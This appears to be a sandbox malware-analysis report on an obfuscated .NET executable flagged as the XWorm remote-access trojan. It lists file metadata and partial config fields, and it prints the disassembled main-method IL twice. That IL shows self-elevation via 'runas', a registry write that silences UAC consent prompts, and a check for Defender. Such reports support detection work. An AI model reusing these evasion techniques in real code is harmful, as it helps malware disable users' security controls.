Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high
1 malicious · 5 files
EXEddc1adc6d9fe788cb0b05bf6e12251baXWorm
Structure
Config. Field Value
KEY 1WDvPZhuhuhuhuhuhuhuhuhuhuhu
USBNM w+M3kVhuhuhuhuhuhuhuhuhuhuhu
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
wqwqwqwqwqwqw.exe
Full Name
wqwqwqwqwqwqw.exe
EntryPoint
System.Void STB.GAGdeXMzYtj==::sBoZJUvxcqsdAnH120qjO3v7Mz0y7oRoKF5k56DtFLy==()
Scope Name
wqwqwqwqwqwqw.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
wqwqwqwqwqwqw
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
358
Main Method
System.Void STB.GAGdeXMzYtj==::sBoZJUvxcqsdAnH120qjO3v7Mz0y7oRoKF5k56DtFLy==()
Main IL Instruction Count
145
Main IL 
ldsfld System.Int32 BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::gsli/ikg7xYpCOk4WuVfB4h2XfVuW2MUUJXeAfq7R7M1WuRv3SQHgE8oKvKg==
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void STB.GAGdeXMzYtj==::uWsH==()
leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
ldc.i4 1500
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void STB.GAGdeXMzYtj==::uWsH==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.2 <null>
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.2 <null>
call System.String System.Environment::get_CurrentDirectory()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WorkingDirectory(System.String)
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.2 <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
brfalse.s IL_0032: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_00C4: leave.s IL_00D2
ldloc.3 <null>
ldstr ConsentPromptBehaviorAdmin
ldc.i4.0 <null>
box System.Int32
ldc.i4.4 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind)
ldloc.3 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::Close()
leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::B04GeqoyCTry+x3LZEiVEDPb72cRfitVS+msAlTp9oJ9K5I4V0T==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::B04GeqoyCTry+x3LZEiVEDPb72cRfitVS+msAlTp9oJ9K5I4V0T==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::1KFkDV52G42Da==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::1KFkDV52G42Da==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::TQVKubxGRSYX5wZZEG327ePgRn9GefQFsGynh4syUlaMQ2s==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::TQVKubxGRSYX5wZZEG327ePgRn9GefQFsGynh4syUlaMQ2s==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::pMAtYW0==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::pMAtYW0==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::FsrfpOl3DmEzPN==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::FsrfpOl3DmEzPN==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::x4Xc5SRBtk8qOZiyOpHjasbnVpX0ZJtJofi6HTDSLK5pZoRMztw==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::x4Xc5SRBtk8qOZiyOpHjasbnVpX0ZJtJofi6HTDSLK5pZoRMztw==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::DoZEcwHQ6dnk3yCu3nr7l0YPyyNtYLAsY==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::DoZEcwHQ6dnk3yCu3nr7l0YPyyNtYLAsY==
leave.s IL_0189: call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0189: call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==()
call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==()
brtrue.s IL_0196: call System.Void STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::2l5bvgBh71PyiZLNz0N==()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::2l5bvgBh71PyiZLNz0N==()
call System.Void STB.GAGdeXMzYtj==::5vpXinERMttOIV+NZhuNvG82UJbwIP2==()
call System.String STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::HmG7Mg5dsisE1IU0KMy3PWmSHwneOm/r2nOtUdBGFjcFRM==()
callvirt System.String System.String::ToLower()
ldstr defender
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_01C7: call System.Void STB.GAGdeXMzYtj==::ld8EvswTpRuO==()
call System.String STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::HmG7Mg5dsisE1IU0KMy3PWmSHwneOm/r2nOtUdBGFjcFRM==()
ldstr None
callvirt System.Boolean System.String::Equals(System.String)
brfalse.s IL_01CC: call System.Void STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::zy7FGVQkFNQQiiBb77hp7vPZY17vZjElp5Dvy2wRh03QxAf==()
call System.Void STB.GAGdeXMzYtj==::ld8EvswTpRuO==()
call System.Void STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::zy7FGVQkFNQQiiBb77hp7vPZY17vZjElp5Dvy2wRh03QxAf==()
call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
brfalse.s IL_01EE: call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 256
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
call System.Void STB.K/qvHnqXCf/F//sgPs+IUEytEI5mtCSy5vCyzbqXTTJrxsH130R/1RmFM9==::/oPGDdPVsiixc1oJNzlgF3T32sbhU8eAgVR==()
br.s IL_01FD: ldnull
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 128
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
ldnull <null>
ldftn System.Void STB.GAGdeXMzYtj==::rCyMl6EGjSZ1z4ertB==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldnull <null>
ldftn System.Void STB.GAGdeXMzYtj==::wq4frwZIBXUC==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
wqwqwqwqwqwqw.exe
Full Name
wqwqwqwqwqwqw.exe
EntryPoint
System.Void STB.GAGdeXMzYtj==::sBoZJUvxcqsdAnH120qjO3v7Mz0y7oRoKF5k56DtFLy==()
Scope Name
wqwqwqwqwqwqw.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
wqwqwqwqwqwqw
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
358
Main Method
System.Void STB.GAGdeXMzYtj==::sBoZJUvxcqsdAnH120qjO3v7Mz0y7oRoKF5k56DtFLy==()
Main IL Instruction Count
145
Main IL 
ldsfld System.Int32 BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::gsli/ikg7xYpCOk4WuVfB4h2XfVuW2MUUJXeAfq7R7M1WuRv3SQHgE8oKvKg==
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void STB.GAGdeXMzYtj==::uWsH==()
leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
ldc.i4 1500
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void STB.GAGdeXMzYtj==::uWsH==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.2 <null>
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.2 <null>
call System.String System.Environment::get_CurrentDirectory()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WorkingDirectory(System.String)
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.2 <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
ldloc.2 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_008F: call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
brfalse.s IL_0032: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
stloc.3 <null>
ldloc.3 <null>
brfalse.s IL_00C4: leave.s IL_00D2
ldloc.3 <null>
ldstr ConsentPromptBehaviorAdmin
ldc.i4.0 <null>
box System.Int32
ldc.i4.4 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind)
ldloc.3 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::Close()
leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00D2: ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::j3oPYULaQ0whZAvSbTkefaS5dFKp9Op==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::B04GeqoyCTry+x3LZEiVEDPb72cRfitVS+msAlTp9oJ9K5I4V0T==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::B04GeqoyCTry+x3LZEiVEDPb72cRfitVS+msAlTp9oJ9K5I4V0T==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::1KFkDV52G42Da==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::1KFkDV52G42Da==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::TQVKubxGRSYX5wZZEG327ePgRn9GefQFsGynh4syUlaMQ2s==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::TQVKubxGRSYX5wZZEG327ePgRn9GefQFsGynh4syUlaMQ2s==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::pMAtYW0==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::pMAtYW0==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::FsrfpOl3DmEzPN==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::FsrfpOl3DmEzPN==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::x4Xc5SRBtk8qOZiyOpHjasbnVpX0ZJtJofi6HTDSLK5pZoRMztw==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::x4Xc5SRBtk8qOZiyOpHjasbnVpX0ZJtJofi6HTDSLK5pZoRMztw==
ldsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::DoZEcwHQ6dnk3yCu3nr7l0YPyyNtYLAsY==
call System.Object STB.P0JGz5N9hj2s6pQpgz/QoSuy==::dA0JvA+OuQlYEzRYcuCAixNHpeu94eaEH==(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String BbGkxAUN9rKp1MdWe07mRrsgGEZJ2AvhSwLFiVbhFcyiqClFPUbxsdm==::DoZEcwHQ6dnk3yCu3nr7l0YPyyNtYLAsY==
leave.s IL_0189: call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_4
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0189: call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==()
call System.Boolean STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::a9xTvzS++B9hcmk86Y==()
brtrue.s IL_0196: call System.Void STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::2l5bvgBh71PyiZLNz0N==()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::2l5bvgBh71PyiZLNz0N==()
call System.Void STB.GAGdeXMzYtj==::5vpXinERMttOIV+NZhuNvG82UJbwIP2==()
call System.String STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::HmG7Mg5dsisE1IU0KMy3PWmSHwneOm/r2nOtUdBGFjcFRM==()
callvirt System.String System.String::ToLower()
ldstr defender
callvirt System.Boolean System.String::Contains(System.String)
brtrue.s IL_01C7: call System.Void STB.GAGdeXMzYtj==::ld8EvswTpRuO==()
call System.String STB.8skje8NNMmd9qtvo0O+OOknyjGcLyDuPPc5GT7Nw09jDbhBCqfNJV0tYFy/==::HmG7Mg5dsisE1IU0KMy3PWmSHwneOm/r2nOtUdBGFjcFRM==()
ldstr None
callvirt System.Boolean System.String::Equals(System.String)
brfalse.s IL_01CC: call System.Void STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::zy7FGVQkFNQQiiBb77hp7vPZY17vZjElp5Dvy2wRh03QxAf==()
call System.Void STB.GAGdeXMzYtj==::ld8EvswTpRuO==()
call System.Void STB.xueeRCivj32fn/kzAn3EOZpkjURJlLE+MXhS3wleum/t/8Nx2mfG2OqX==::zy7FGVQkFNQQiiBb77hp7vPZY17vZjElp5Dvy2wRh03QxAf==()
call System.Boolean STB.GAGdeXMzYtj==::e0p6SC4nQne1SsNVf910YES6tj77x8eCFJdXJ5==()
brfalse.s IL_01EE: call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 256
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
call System.Void STB.K/qvHnqXCf/F//sgPs+IUEytEI5mtCSy5vCyzbqXTTJrxsH130R/1RmFM9==::/oPGDdPVsiixc1oJNzlgF3T32sbhU8eAgVR==()
br.s IL_01FD: ldnull
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
ldc.i4 128
callvirt System.Void System.Diagnostics.Process::set_PriorityClass(System.Diagnostics.ProcessPriorityClass)
ldnull <null>
ldftn System.Void STB.GAGdeXMzYtj==::rCyMl6EGjSZ1z4ertB==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.0 <null>
ldnull <null>
ldftn System.Void STB.GAGdeXMzYtj==::wq4frwZIBXUC==()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldloc.0 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙